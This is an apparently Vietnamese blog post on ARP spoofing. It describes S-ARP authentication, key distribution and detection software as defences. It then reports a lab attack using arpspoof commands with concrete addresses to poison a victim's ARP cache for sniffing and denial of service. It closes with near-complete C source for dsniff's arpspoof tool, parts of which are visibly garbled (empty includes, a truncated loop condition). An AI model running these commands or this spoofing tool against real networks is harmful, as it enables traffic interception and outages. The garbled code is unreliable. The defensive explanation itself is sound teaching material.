Trao đổi với tôi

http://www.buidao.com

11/12/09

[Hacking] Bổ sung attack ARP spoofing

Bổ sung attack ARP spoofing


3.3.Sử dụng giao thức S-ARP:
Một trong những lí do khiến cho việc giả mạo ARP reply dễ dàng có thể được thực hiện là không có một sự chứng thực nào cho các bản tin phúc đáp này. Do đó cần thiết phải xây dựng một giao thức tích hợp cả việc chứng thực vào giao thức ARP gốc.

Giao thức S-ARP [7] được xây dựng dựa trên nền tảng của ARP nên nó có mọi đặc điểm kĩ thuật của ARP và có bổ sung thêm một header vào sau gói tin ARP gốc. Bằng cách này, các bản tin S-ARP có thể được xử lí bởi các host không chạy S-ARP. Các host có chạy S-ARP sẽ không chấp nhận xử lí bất kì gói tin ARP nào không được chứng thực chỉ trừ những gói tin xuất phát từ các host có trong một danh sách định trước của nó (điều đó cũng có nghĩa là các host này cũng đã được chứng thực rồi). Tuy các host chạy ARP truyền thống vẫn có thể xử lí gói tin S-ARP nhưng một mạng LAN bao gồm các host chạy ARP lẫn S-ARP được khuyên dùng là không nên triển khai bởi vì các host chạy ARP truyền thống vẫn có thể bị tấn công.

3.3.1.Tổng quan về giao thức:
Giao thức S-ARP chỉ đơn thuần cung cấp chứng thực message chứ không tham gia vào việc bảo mật các thông tin chứa trong message. S-ARP sử dụng mã hoá không đối xứng. Mỗi host trong mạng LAN được nhận biết với một ánh xạ tương ứng giữa địa chỉ IP của nó và một cặp khoá chung/khoá riêng. Một chứng thực đơn giản có thể ràng buộc giữa địa chỉ IP và khoá chung. Bên cạnh khoá chung của host thì message cần chứng thực phải chứa địa chỉ IP và địa chỉ MAC của một host đóng vai trò cung cấp khoá AKD (Authoriative Key Distributor).

Để tránh bị tấn công replay, có nghĩa là cần có một mốc thời gian chung để đánh giá thời gian tồn tại hợp lệ của một reply message, AKD sẽ cung cấp một giá trị đồng hồ để mọi host đều phải đồng bộ hoá theo nó.
Trong S-ARP, tất cả các bản tin reply đều phải mã hoá bởi khoá riêng của người gửi. Sau đó tại nơi nhận, người nhận sẽ dùng khoá chung của người gửi để giải mã. Nếu người nhận không có khoá chung của người gửi, nó phải yêu cầu AKD cung cấp khoá chung đó.

S-ARP sử dụng thuật toán mã hoá DSA (Digital Signature Algorithm) để mã hoá.Việc lựa chọn này không bị ràng buộc và người ta có thể sử dụng bất kì một thuật toán mã hoá bất đối xứng nào.

3.3.2.Cài đặt S-ARP:
Công việc đầu tiên khi cài đặt mạng LAN có sử dụng S-ARP là việc lựa chọn ra một server làm trung tâm phân phối khoá AKD và phân phối thông qua một kênh mật khoá chung và địa chỉ MAC của nó tới tất cả các host trong mạng. Việc này cũng cần phải được làm bằng tay nếu có một host nào đó mới tham gia vào mạng lần đầu tiên. Nói cách khác, một host muốn tham gia vào một mạng LAN cần phải phát ra một cặp khoá chung/ khoá riêng và gửi bản tin yêu cầu chứng thực về AKD.

Độ chính xác của thông tin cung cấp sẽ được kiểm tra bởi người quản trị mạng và sau đó, khoá chung và địa chỉ IP của host sẽ được lưu vào cơ sở dữ liệu của AKD. Nếu một host muốn thay đổi khoá của nó; nó cần phải liên lạc với AKD yêu cầu khoá mới kèm theo việc gửi khoá cũ. Khi đó, AKD sẽ cấp khoá mới đồng thời cập nhật lại thông tin vào cơ sở dữ liệu của mình. Đồng thời khi kết nối vào mạng LAN thì một host cần đồng bộ hoá đồng hồ S-ARP của nó với đồng hồ nhận được từ AKD.

3.3.3.Định dạng bản tin:
Một bản tin S-ARP cũng tương tự như một bản tin ARP với một phần bổ sung chứng thực ở phần cuối. Phần bổ sung thêm gồm 12 byte S-ARP header và một phần dữ liệu phụ có kích thước biến đổi.
Phần S-ARP header bao gồm các thông số: chữ kí số của người gửi; nhãn thời gian; kiểu và độ dài của bản tin.

Hình 2.9: Cấu trúc bản tin S-ARP

trường magic dùng để phân biệt đây là gói tin kiểu ARP hay S-ARP. Sở dĩ phần header này có 12 byte bởi vì kích thước của một gói tin ARP chỉ là 42 byte và kích thước tối thiểu của một gói tin ethernet là 60 byte.

Trường type dùng để phân biệt năm loại bản tin S-ARP:
Bản tin chứa thông tin về ánh xạ địa chỉ được trao đổi giữa các host trong mạng LAN với nhau: chỉ có kiểu bản tin reply.
Bản tin dùng để quản lí khoá chung và bản tin đồng bộ hoá thời gian: dùng để trao đổi giữa host và AKD (request/reply).
Bản tin đồng bộ hoá thời gian (request/reply)

Trường siglen và datalen dùng để chỉ độ dài của chữ kí và độ dài của đoạn dữ liệu tương ứng. Trường timestamp dùng để chứa giá trị đồng hồ S-ARP tại thời điểm cấu trúc nên gói tin. Cuối cùng, trường chữ kí là một hàm băm SHA-1 của header ARP và S-ARP. 160 bit kết quả sẽ được mã hoá bằng thuật toán DSA.

3.3.4.Chứng thực bản tin:
Mọi host đều lưu trữ một bảng ánh xạ tương ứng giữa khoá chung và địa chỉ IP nó yêu cầu AKD trước đó. Khi một host nhận được bản tin S-ARP phúc đáp, nó sẽ tìm ánh xạ tương ứng giữa địa chỉ IP người gửi và khoá chung. Nếu khoá chung này chưa tồn tại, nó sẽ gửi yêu cầu được cung cấp khoá chung đến AKD. Trong trường hợp này, gói tin sẽ được đặt vào một hàng đợi để chờ được trả lời.

AKD sẽ gửi lại bản tin reply đã được mã hoá bởi khoá riêng của AKD với khoá chung yêu cầu và một nhãn thời gian. Dựa vào thông tin nhận được , host sẽ đồng bộ hoá lại nhãn thời gian. Nếu không có khoá cũ mà khoá chung mới nhận được lại trùng với khoá chung có trong bản cache; bản tin reply được coi là không hợp lệ và bị huỷ bỏ. Nếu khoá bị thay đổi, host sẽ cập nhật lại ánh xạ và chứng thực bản tin phúc đáp bằng khoá chung mới.

Nếu nhãn thời gian S-ARP là quá cũ, bản tin phúc đáp sẽ bị huỷ bỏ nhằm tránh kiểu tấn công replay. Do các host không được đồng bộ hoá một cách chính xác nên một khoảng thời gian chênh lệch chấp nhận được giữa nhãn thời gian và local clock trên host là 30s. Nếu không sử dụng nhãn thời gian, kẻ tấn công có thể tiến hành poisoning attack theo kịch bản sau: kẻ tấn công sẽ lưu giữ gói tin S-ARP phúc đáp từ host 192.168.0.1 với địa chỉ MAC là 01:01:01:01:01:01:01. Kẻ tấn công sẽ chờ cho đến khi máy nạn nhân hoạt động off-line và không có khả năng phúc đáp lại bản tin ARP request. Khi đó kẻ tấn công sẽ sử dung bản tin phúc đáp đã thay địa chỉ MAC trên bởi địa chỉ MAC của nó và gửi đến người yêu cầu.

3.3.5.Quản lí khoá:
Cần phân biệt hai trường hợp phân phối khoá: khi địa chỉ IP của các host trong mạng được phân phối tĩnh và khi nó được phân phối động thông qua một DHCP server.

3.3.5.1.Địa chỉ IP phân phối tĩnh:
Trong một mạng mà địa chỉ IP được phân phối tĩnh, các khoá sẽ được buộc cho các địa chỉ IP khi chúng được phát ra và sẽ được lưu trữ lại trong bảng của AKD server.

Hình 2.10: Mô hình chứng thực trong mạng cấu hình địa chỉ IP tĩnh.

Trong đó:
1. Si là khoá mật của host i.
2. Pi là khoá chung của host i.
3. Ti là thời gian local trên host i.

Quá trình trao đổi thông tin có thể được mô tả qua các bước như sau:
1. Khi có một host mới tham gia vào mạng; người quản trị mạng có nhiệm vụ cung cấp địa chỉ IP tĩnh và khoá chung cho host; đồng thời cung cấp khoá chung và địa chỉ MAC của trung tâm phân phối khoá AKD để host có thể liên lạc về sau.
2. Khi host A muốn gửi tin đến host B. Do chưa biết địa chỉ MAC của B;nó sẽ gửi đi bản tin broadcast để yêu cầu MACB .
3. Host B nhận được yêu cầu của A sẽ gửi trả lại bản tin ARP reply được mã hoá bằng mã mật của B. Bản tin này chứa địa chỉ MAC của B và thời gian local TB.
4. Do trong bảng ánh xạ của host A chưa có ánh xạ giữa địa chỉ IP của B và khoá chung của B nên nó không thể giải mã được bản tin phúc đáp của B. Do đó, nó sẽ gửi yêu cầu đến AKD; yêu cầu cho biết khoá chung PB của B. Bản tin này được mã hoá với khoá riêng của A và có chứa một số ngẫu nhiên N để phân biệt các phiên truyền.
5. AKD nhận được yêu cầu của A; sẽ dùng khoá chung của A để giải mã bản tin. Sau đó nó sẽ gửi trả lại A bản tin được mã hoá bởi khoá chung AKD. Nội dung bản tin này bao gồm khoá chung của B; số N và thời gian local TAKD.
6. Host A sau khi nhận bản tin reply của AKD sẽ dùng khoá chung PAKD để giải mã. Sau đó A dùng khoá chung của B để giải mã bản tin phúc đáp của B. Nó sẽ kiểm tra xem bản tin reply của B đã hết hạn chưa bằng cách kiểm tra khoảng thời gian chênh lệch TAKD-TB có lớn hơn khoảng thời gian cho phép hay không. Nếu có, host A coi như bản tin phúc đáp của B là giả mạo và chấm dứt việc trao đổi với B. Nếu không; nó sẽ cập nhật ánh xạ giữa khoá chung và địa chỉ IP của B vào bảng lưu trữ của mình và dùng địa chỉ MAC của B để trao đổi với B.

Chú ý rằng kẻ tấn công không thể tạo ra được một khoá riêng nào khác ngoài chính khoá riêng của nó bởi vì việc cấp phát khoá chung là do AKD đảm nhiệm. Tuy nhiên, kẻ tấn công có thể phúc đáp lại bản tin ARP-request với địa chỉ MAC của một host khác hoặc một host nào đó không tồn tại. Khi đó máy của nạn nhân bị giả mạo sẽ phải nhận hai luồng dữ liệu: một luồng dữ liệu hợp lệ từ các máy khác gửi đến và hai là luồng dữ liệu được gửi gián tiếp đến máy của kẻ tấn công. Nếu luồng dữ liệu thứ hai này mà lớn thì host có thể không còn hoạt động được : kiểu tấn công DoS.

3.3.5.2.Địa chỉ IP phân phối động:
Trong một mạng có cài đặt S-ARP mà tồn tại một DHCP server cung cấp tự động địa chỉ IP cho các host gắn vào trong mạng thì không thể buộc các khoá với địa chỉ IP ngay từ đầu được. Việc gắn khoá với địa chỉ IP cũng cần phải tiến hành một cách tự động khi một host được gán một địa chỉ IP mới và do đó yêu cầu DHCP server cần phải liên lạc với S-ARP server trước khi có thể cấp địa chỉ IP cho một host nào đó.

Hình 2.11: Mô hình chứng thực trong mạng cấu hình IP động

Quá trình cấp địa chỉ IP động có thể được mô tả như sau:
1. AKD cung cấp cho host H khoá PH và trong bảng lưu trữ của AKD chỉ lưu ánh xạ khoá PH với một địa chỉ IP rỗng.
2. Host H khi tham gia vào mạng sẽ gửi yêu cầu đến DHCP server để yêu cầu địa chỉ IP. Bản tin này còn chứa khoá chung PH của H đã được mã hoá bởi khoá mật của nó.
3. DHCP server sau khi nhận được yêu cầu của H; nó sẽ cấp cho H một địa chỉ IP là IPH đồng thời gửi yêu cầu chứng thực tới AKD.
4. AKD sẽ kiểm tra khoá chung PH có giống với khoá chung PH trong bảng lưu trữ của nó không. Nếu không sẽ gửi lại NACK cho DHCP server và DHCP server sẽ không cấp IP cho H. Nếu hai khoá trùng nhau, AKD sẽ trả lại bản tin ACK và cập nhật ánh xạ địa chỉ IP-khoá PH vào bảng lưu trữ của mình.
5. DHCP server gửi lại địa chỉ IP cho H.

Cần chú ý là mỗi khi S-DHCP giải phóng một host, nó cần phải thông báo cho AKD biết để xoá ánh xạ của host đó đi.

3.4.Sử dụng phần mềm phát hiện giả mạo ARP:
Trong trường hợp mạng chỉ gồm các thiết bị vật lí lớp 1: bản tin ARP giả mạo sẽ được gửi broadcast và mọi host trên mạng đều nhận được bản tin giả mạo này. Trước hết, ta sẽ tạo một cơ sở dữ liệu lưu toàn bộ ánh xạ IP-MAC của tất cả các host trong mạng. Sau đó sẽ dùng một phần mềm để bắt gói tin và phát hiện xem ánh xạ IP-MAC nguồn trong gói tin có tồn tại trong bảng hay không. Nếu không tức là có sự giả mạo ARP. Thông tin này có thể được ghi lại hoặc được email cho người quản trị biết.

Việc dùng phần mềm phát hiện giả mạo này cũng không khác việc cấu hình static arp là mấy. Tuy nhiên việc dùng phần mềm sẽ làm giảm đi công sức của người quản trị: khi có một thiết bị mới tham gia vào mạng thì chỉ cập nhật ánh xạ một lần vào cơ sở dữ liệu của phần mềm mà thôi.

Nếu trong mạng có thiết bị mạng lớp 2 như switch; bản tin ARP reply giả mạo có thể không cần gửi broadcast mà chỉ cần gửi unicast đến máy nạn nhân và việc dùng phần mềm phát hiện trong trường hợp này sẽ không còn tác dụng.
4.Thí nghiệm thực tế:
Sơ đồ thí nghiệm và cấu hình thiết bị:
Ba PC; một của kẻ tấn công và một của nạn nhân; trên máy của kẻ tấn công cài đặt phần mềm giả mạo arpspoof
Một switch Catalysh IOS 12.0.

Hình 2.12: Sơ đồ thí nghiệm arpspoof



Cách sử dụng arpspoof:
arpspoof [-R|-r] [-i interface] [-S SourceMAC] [-D DestMAC] [-s SourceIP] [-d DestIP]
trong đó:
[-R|-r] : bản tin gửi đi là bản tin ARP request hay bản tin reply.
[-i interface]: giao diện vật lí dùng để gửi đi bản tin.
[-S SourceMAC]: địa chỉ MAC nguồn của gói tin ARP.
[-D DestMAC] : địa chỉ MAC đích.
[-s SourceIP] : địa chỉ IP nguồn
[-d DestIP] : địa chỉ IP đích.
Các bước tiến hành:
• Bước 1: Kẻ tấn công trên PC A dùng phần mềm arpspoof gửi đi bản tin giả mạo địa chỉ MAC của PC C là địa chỉ broadcast lớp 2 tới PC B.
Câu lệnh:
arpspoof –r –S ff:ff:ff:ff:ff:ff –s 192.168.1.252 –D 00:08:0d:43:01:d8 –d
192.168.1.173.
Gói tin giả mạo bắt được:

Hình 2.13: Gói tin giả mạo ARP trong lần tấn công 1
Kiểm tra bảng ánh xạ arp cache của PC B :



Hình 2.14: Bảng ánh xạ ARP trên máy nạn nhân

• Bước 2: Bất kì thông tin nào từ B gửi đến C sẽ đều bị gửi ra toàn mạng. Ví dụ: từ B ping 192.168.1.252. Dùng ethereal trên PC A để bắt gói tin này.

Hình 2.15: Gói tin ICMP bị nghe lén



• Bước 3: Tấn công DoS: giả mạo địa chỉ MAC của PC C là địa chỉ không tồn tại 4:4:4:4:4:4.
Câu lệnh:
arpspoof –r –S 4:4:4:4:4:4 –s 192.168.1.252 –D 00:08:0d:43:01:d8 –d
192.168.1.173.

Gói tin giả mạo bắt được:

Hình 2.16: Gói tin giả mạo ARP trong lần tấn công 2



• Bước 4: Để kiểm tra hậu quả của kiểu tấn công này. Ta chỉ việc ping đến PC C từ PC B. Kết quả là:

Hình 2.17: Hậu quả của kiểu tấn công DoS.

5.Nhận xét:
Với các biện pháp phòng chống ở trên ta có thể rút ra kết luận: không có một phương pháp nào có thể loại bỏ hoàn toàn kiểu tấn công giả dạng ARP. Mỗi phương pháp đều có một nhược điểm riêng.

Phương pháp chứng thực kiểu port-base là một phương pháp phòng chống khá hiệu quả không những cho trường hợp giả mạo ARP mà cho các trường hợp giả mạo nói chung. Tuy nhiên một khi người được cấp quyền cố tình tiến hành kiểu tấn công giả mạo thì phương pháp này sẽ không còn tác dụng.

Phương pháp cấu hình địa chỉ tĩnh hoặc dùng phần mềm phát hiện gói ARP giả mạo thực ra chỉ nên áp dụng cho các mạng nhỏ và trong thực tế có lẽ không ai dùng cả vì hầu hết các mạng đều thực hiện việc cấp IP động. Do đó việc duy trì bảng ánh xạ tĩnh là không thực tế.

Phương pháp sử dụng S-ARP có thể phòng chống được phần lớn các kiểu tấn công ARP nhưng vẫn bị kẻ tấn công lợi dụng tấn công DoS. Thêm vào đó việc triển khai S-ARP là khá phức tạp.

6.Code: (trích từ tool dsniff; tool arpspoof viết lâu nên vứt béng code đi đâu rồi é)
#include “config.h”

#include
#include
#include
#include
#include
#include
#include
#include

#include “version.h”

extern char *ether_ntoa(struct ether_addr *);
extern int arp_cache_lookup(in_addr_t, struct ether_addr *);

static struct libnet_link_int *llif;
static struct ether_addr spoof_mac, target_mac;
static in_addr_t spoof_ip, target_ip;
static char *intf;

void
usage(void)
{
fprintf(stderr, “Version: ” VERSION “\n”
“Usage: arpspoof [-i interface] [-t target] host\n”);
exit(1);
}

int
arp_send(struct libnet_link_int *llif, char *dev,
int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
char ebuf[128];
u_char pkt[60];

if (sha == NULL &&
(sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {
return (-1);
}
if (spa == 0) {
if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
return (-1);
spa = htonl(spa); /* XXX */
}
if (tha == NULL)
tha = “\xff\xff\xff\xff\xff\xff”;

libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);

libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
NULL, 0, pkt + ETH_H);

fprintf(stderr, “%s “,
ether_ntoa((struct ether_addr *)sha));

if (op == ARPOP_REQUEST) {
fprintf(stderr, “%s 0806 42: arp who-has %s tell %s\n”,
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else {
fprintf(stderr, “%s 0806 42: arp reply %s is-at “,
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, “%s\n”,
ether_ntoa((struct ether_addr *)sha));
}
return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}

#ifdef __linux__
int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);

i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

close(fd);

return (i == 0);
}
#endif

int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;

do {
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX – force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
#endif
sleep(1);
}
while (i++ <>

return (0);
}

void
cleanup(int sig)
{
int i;

if (arp_find(spoof_ip, &spoof_mac)) {
for (i = 0; i < 3; i++) {
/* XXX – on BSD, requires ETHERSPOOF kernel. */
arp_send(llif, intf, ARPOP_REPLY,
(u_char *)&spoof_mac, spoof_ip,
(target_ip ? (u_char *)&target_mac : NULL),
target_ip);
sleep(1);
}
}
exit(0);
}

int
main(int argc, char *argv[])
{
int c;
char ebuf[PCAP_ERRBUF_SIZE];

intf = NULL;
spoof_ip = target_ip = 0;

while ((c = getopt(argc, argv, “i:t:h?V”)) != -1) {
switch (c) {
case ‘i’:
intf = optarg;
break;
case ‘t’:
if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;

if (argc != 1)
usage();

if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
usage();

if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, “%s”, ebuf);

if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
errx(1, “%s”, ebuf);

if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, “couldn’t arp for host %s”,
libnet_host_lookup(target_ip, 0));

signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);

for (; {
arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,
(target_ip ? (u_char *)&target_mac : NULL),
target_ip);
sleep(2);
}
/* NOTREACHED */

exit(0);
}

Nguồn sưu tầm